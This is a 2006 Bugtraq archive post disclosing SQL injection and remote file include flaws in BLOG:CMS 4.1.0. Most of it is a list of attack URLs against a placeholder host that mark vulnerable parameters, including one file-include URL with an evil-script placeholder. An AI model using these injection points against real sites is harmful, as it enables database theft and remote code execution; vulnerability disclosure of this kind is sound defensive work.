Home page logo
/

bugtraq logo Bugtraq mailing list archives

BLOG:CMS 4.1.0 SQL injection File Include Vulnerability
From: securityconnection () gmail com
Date: 5 Jul 2006 16:18:07 -0000

BLOG:CMS 4.1.0
http://blogcms.com
-------------
SQL injection
-------------
http://target.xx/?1'[SQL]
http://target.xx/?item='[SQL]
http://target.xx/?blog='[SQL]
http://target.xx/?member='[SQL]
http://target.xx/?typeface=1'[SQL]
http://target.xx/?results='[SQL]
http://target.xx/?DokuWiki='[SQL]
http://target.xx/?archives='[SQL]
http://target.xx/?category='[SQL]
http://target.xx/?PHPSESSID='[SQL]
http://target.xx/?results=1&blog='[SQL]
http://target.xx/?results=1&item='[SQL]
http://target.xx/?member=admin&category='[SQL]
http://target.xx/?query='[SQL]&amount=0&blogid=1
http://target.xx/?query=1&amount='[SQL]&blogid=1
http://target.xx/?query=1&amount=0&blogid='[SQL]
http://target.xx/action.php?action=votepositive&itemid=1'[SQL]
-------------------
Remote File Include
-------------------
http://target.xx/photo/thumb.php?gallery=./Corvette&image=[EVIL_SCRIPT]
-----------------
Ellipsis Security
http://www.ellsec.org


  By Date           By Thread  

Current thread:
  • BLOG:CMS 4.1.0 SQL injection File Include Vulnerability securityconnection (Jul 05)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]